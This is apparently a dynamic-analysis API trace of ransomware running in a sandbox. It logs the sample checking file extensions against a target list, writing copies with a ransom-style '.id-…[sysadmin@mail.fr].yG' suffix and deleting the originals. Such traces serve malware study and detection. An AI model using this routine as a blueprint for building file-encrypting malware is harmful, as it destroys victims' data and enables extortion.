	[0179.151] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c
	[0179.151] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x351ff14 | out: lpFileSize=0x351ff14*=76632) returned 1
	[0179.151] CloseHandle (hObject=0x30c) returned 1
	[0179.151] GetFileAttributesW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui")) returned 0x20
	[0179.151] GetFileAttributesW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0179.151] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0179.151] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29
	[0179.151] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29
	[0179.152] lstrlenW (lpString=".doc") returned 4
	[0179.152] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0179.152] lstrlenW (lpString=".docx") returned 5
	[0179.152] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0179.152] lstrlenW (lpString=".pdf") returned 4
	[0179.152] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0179.152] lstrlenW (lpString=".xls") returned 4
	[0179.152] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0179.152] lstrlenW (lpString=".xlsx") returned 5
	[0179.152] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0179.152] lstrlenW (lpString=".ppt") returned 4
	[0179.152] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0179.152] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29
	[0179.152] lstrlenW (lpString=".zip") returned 4
	[0179.152] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0179.152] lstrlenW (lpString=".rar") returned 4
	[0179.152] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0179.152] lstrlenW (lpString=".bz2") returned 4
	[0179.152] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0179.152] lstrlenW (lpString=".7z") returned 3
	[0179.152] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0179.550] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 1
	[0179.551] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0179.552] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0179.552] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll.id-b4197730.[sysadmin@mail.fr].yg"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll")) returned 1
	[0179.554] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 1
	[0179.556] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0179.557] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0179.557] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll.id-b4197730.[sysadmin@mail.fr].yg"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll")) returned 1
	[0179.558] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe.id-b4197730.[sysadmin@mail.fr].yg")) returned 1
	[0179.559] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0179.560] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0179.560] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe.id-b4197730.[sysadmin@mail.fr].yg"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe")) returned 1
	[0180.050] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.050] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.050] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\source engine\\ose.exe.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0180.051] GetLastError () returned 0x0
	[0180.051] ReadFile (in: hFile=0x33c, lpBuffer=0x3f4d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4d020*, lpNumberOfBytesRead=0x351fecc*=0x3ba48, lpOverlapped=0x0) returned 1
	[0180.108] WriteFile (in: hFile=0x340, lpBuffer=0x3f4d020*, nNumberOfBytesToWrite=0x3ba50, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4d020*, lpNumberOfBytesWritten=0x351fc94*=0x3ba50, lpOverlapped=0x0) returned 1
	[0180.428] ReadFile (in: hFile=0x33c, lpBuffer=0x3f4d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4d020*, lpNumberOfBytesRead=0x351fecc*=0x0, lpOverlapped=0x0) returned 1
	[0180.428] WriteFile (in: hFile=0x340, lpBuffer=0x3f4d020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4d020*, lpNumberOfBytesWritten=0x351fc94*=0xe2, lpOverlapped=0x0) returned 1
	[0180.428] SetEndOfFile (hFile=0x340) returned 1
	[0180.830] CloseHandle (hObject=0x340) returned 1
	[0180.830] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.830] SetEndOfFile (hFile=0x33c) returned 1
	[0180.833] CloseHandle (hObject=0x33c) returned 1
	[0180.833] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0180.833] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\source engine\\ose.exe")) returned 1
	[0180.834] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE") returned 68
	[0180.834] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE") returned 68
	[0180.834] lstrlenW (lpString=".doc") returned 4
	[0180.834] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1
	[0180.834] lstrlenW (lpString=".docx") returned 5
	[0180.834] lstrcmpiW (lpString1=".docx", lpString2="E.EXE") returned -1
	[0180.834] lstrlenW (lpString=".pdf") returned 4
	[0180.834] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1
	[0180.834] lstrlenW (lpString=".xls") returned 4
	[0180.834] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1
	[0180.834] lstrlenW (lpString=".xlsx") returned 5
	[0180.834] lstrcmpiW (lpString1=".xlsx", lpString2="E.EXE") returned -1
	[0180.834] lstrlenW (lpString=".ppt") returned 4
	[0180.834] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1
	[0180.834] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE") returned 68
	[0180.834] lstrlenW (lpString=".zip") returned 4
	[0180.834] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1
	[0180.834] lstrlenW (lpString=".rar") returned 4
	[0180.834] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1
	[0180.834] lstrlenW (lpString=".bz2") returned 4
	[0180.834] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1
	[0180.835] lstrlenW (lpString=".7z") returned 3
	[0180.835] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1
	[0180.835] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE") returned 68
	[0180.835] lstrlenW (lpString=".dbf") returned 4
	[0180.835] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1
	[0180.835] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE") returned 68
	[0180.835] lstrlenW (lpString=".1cd") returned 4
	[0180.835] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1
	[0180.835] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE") returned 68
	[0180.835] lstrlenW (lpString=".jpg") returned 4
	[0180.835] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1
	[0180.835] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE") returned 68
	[0180.835] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE") returned 68
	[0180.835] lstrlenW (lpString=".doc") returned 4
	[0180.835] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1
	[0180.835] lstrlenW (lpString=".docx") returned 5
	[0180.835] lstrcmpiW (lpString1=".docx", lpString2="E.EXE") returned -1
	[0180.835] lstrlenW (lpString=".pdf") returned 4
	[0180.835] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1
	[0180.835] lstrlenW (lpString=".xls") returned 4
	[0180.835] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1
	[0180.835] lstrlenW (lpString=".xlsx") returned 5
	[0180.835] lstrcmpiW (lpString1=".xlsx", lpString2="E.EXE") returned -1
	[0180.835] lstrlenW (lpString=".ppt") returned 4
	[0180.835] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1
	[0180.835] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE") returned 68
	[0180.835] lstrlenW (lpString=".zip") returned 4
	[0180.836] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1
	[0180.836] lstrlenW (lpString=".rar") returned 4
	[0180.836] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1
	[0180.836] lstrlenW (lpString=".bz2") returned 4
	[0180.836] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1
	[0180.836] lstrlenW (lpString=".7z") returned 3
	[0180.836] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1
	[0180.836] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE") returned 68
	[0180.836] lstrlenW (lpString=".dbf") returned 4
	[0180.836] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1
	[0180.836] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE") returned 68
	[0180.836] lstrlenW (lpString=".1cd") returned 4
	[0180.836] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1
	[0180.836] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE") returned 68
	[0180.836] lstrlenW (lpString=".jpg") returned 4
	[0180.836] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1
	[0180.836] lstrcmpiW (lpString1=".dll", lpString2=".yG") returned -1
	[0180.836] lstrlenW (lpString="VSTOLoaderUI.dll") returned 16
	[0180.836] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoloaderui.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0180.947] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x351ff14 | out: lpFileSize=0x351ff14*=20608) returned 1
	[0180.947] CloseHandle (hObject=0x36c) returned 1
	[0180.947] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoloaderui.dll")) returned 0x20
	[0180.947] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoloaderui.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0180.947] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoloaderui.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0180.947] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.948] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.948] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoloaderui.dll.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0180.948] GetLastError () returned 0x0
	[0180.948] ReadFile (in: hFile=0x36c, lpBuffer=0x3f4d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4d020*, lpNumberOfBytesRead=0x351fecc*=0x5080, lpOverlapped=0x0) returned 1
	[0181.028] WriteFile (in: hFile=0x370, lpBuffer=0x3f4d020*, nNumberOfBytesToWrite=0x5090, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4d020*, lpNumberOfBytesWritten=0x351fc94*=0x5090, lpOverlapped=0x0) returned 1
	[0181.030] ReadFile (in: hFile=0x36c, lpBuffer=0x3f4d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4d020*, lpNumberOfBytesRead=0x351fecc*=0x0, lpOverlapped=0x0) returned 1
	[0181.030] WriteFile (in: hFile=0x370, lpBuffer=0x3f4d020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4d020*, lpNumberOfBytesWritten=0x351fc94*=0xf4, lpOverlapped=0x0) returned 1
	[0181.030] SetEndOfFile (hFile=0x370) returned 1
	[0181.030] CloseHandle (hObject=0x370) returned 1
	[0181.031] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.032] SetEndOfFile (hFile=0x36c) returned 1
	[0181.033] CloseHandle (hObject=0x36c) returned 1
	[0181.033] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0181.033] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoloaderui.dll")) returned 1
	[0181.033] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll") returned 78
	[0181.034] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll") returned 78
	[0181.034] lstrlenW (lpString=".doc") returned 4
	[0181.034] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0181.034] lstrlenW (lpString=".docx") returned 5
	[0181.034] lstrcmpiW (lpString1=".docx", lpString2="I.dll") returned -1
	[0181.034] lstrlenW (lpString=".pdf") returned 4
	[0181.034] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0181.034] lstrlenW (lpString=".xls") returned 4
	[0181.035] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0181.035] lstrlenW (lpString=".xlsx") returned 5
	[0181.035] lstrcmpiW (lpString1=".xlsx", lpString2="I.dll") returned -1
	[0181.035] lstrlenW (lpString=".ppt") returned 4
	[0181.035] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0181.035] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll") returned 78
	[0181.035] lstrlenW (lpString=".zip") returned 4
	[0181.035] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0181.035] lstrlenW (lpString=".rar") returned 4
	[0181.035] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0181.035] lstrlenW (lpString=".bz2") returned 4
	[0181.035] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0181.035] lstrlenW (lpString=".7z") returned 3
	[0181.035] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0181.035] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll") returned 78
	[0181.035] lstrlenW (lpString=".dbf") returned 4
	[0181.035] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0181.035] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll") returned 78
	[0181.035] lstrlenW (lpString=".1cd") returned 4
	[0181.036] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0181.036] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll") returned 78
	[0181.036] lstrlenW (lpString=".jpg") returned 4
	[0181.036] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0181.036] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll") returned 78
	[0181.036] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll") returned 78
	[0181.036] lstrlenW (lpString=".doc") returned 4
	[0181.036] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0181.036] lstrlenW (lpString=".docx") returned 5
	[0181.036] lstrcmpiW (lpString1=".docx", lpString2="I.dll") returned -1
	[0181.036] lstrlenW (lpString=".pdf") returned 4
	[0181.036] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0181.036] lstrlenW (lpString=".xls") returned 4
	[0181.036] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0181.036] lstrlenW (lpString=".xlsx") returned 5
	[0181.036] lstrcmpiW (lpString1=".xlsx", lpString2="I.dll") returned -1
	[0181.036] lstrlenW (lpString=".ppt") returned 4
	[0181.036] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0181.037] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll") returned 78
	[0181.037] lstrlenW (lpString=".zip") returned 4
	[0181.037] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0181.037] lstrlenW (lpString=".rar") returned 4
	[0181.037] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0181.037] lstrlenW (lpString=".bz2") returned 4
	[0181.037] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0181.037] lstrlenW (lpString=".7z") returned 3
	[0181.037] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0181.037] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll") returned 78
	[0181.037] lstrlenW (lpString=".dbf") returned 4
	[0181.037] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0181.037] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll") returned 78
	[0181.037] lstrlenW (lpString=".1cd") returned 4
	[0181.037] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0181.037] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll") returned 78
	[0181.037] lstrlenW (lpString=".jpg") returned 4
	[0181.037] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0181.038] lstrcmpiW (lpString1=".dll", lpString2=".yG") returned -1
	[0181.038] lstrlenW (lpString="VSTOMessageProvider.dll") returned 23
	[0181.038] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstomessageprovider.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0181.043] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x351ff14 | out: lpFileSize=0x351ff14*=48872) returned 1
	[0181.043] CloseHandle (hObject=0x36c) returned 1
	[0181.043] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstomessageprovider.dll")) returned 0x20
	[0181.043] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstomessageprovider.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0181.043] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstomessageprovider.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0181.044] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.044] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.044] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstomessageprovider.dll.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0181.045] GetLastError () returned 0x0
	[0181.045] ReadFile (in: hFile=0x36c, lpBuffer=0x3f4d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4d020*, lpNumberOfBytesRead=0x351fecc*=0xbee8, lpOverlapped=0x0) returned 1
	[0181.364] WriteFile (in: hFile=0x370, lpBuffer=0x3f4d020*, nNumberOfBytesToWrite=0xbef0, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4d020*, lpNumberOfBytesWritten=0x351fc94*=0xbef0, lpOverlapped=0x0) returned 1
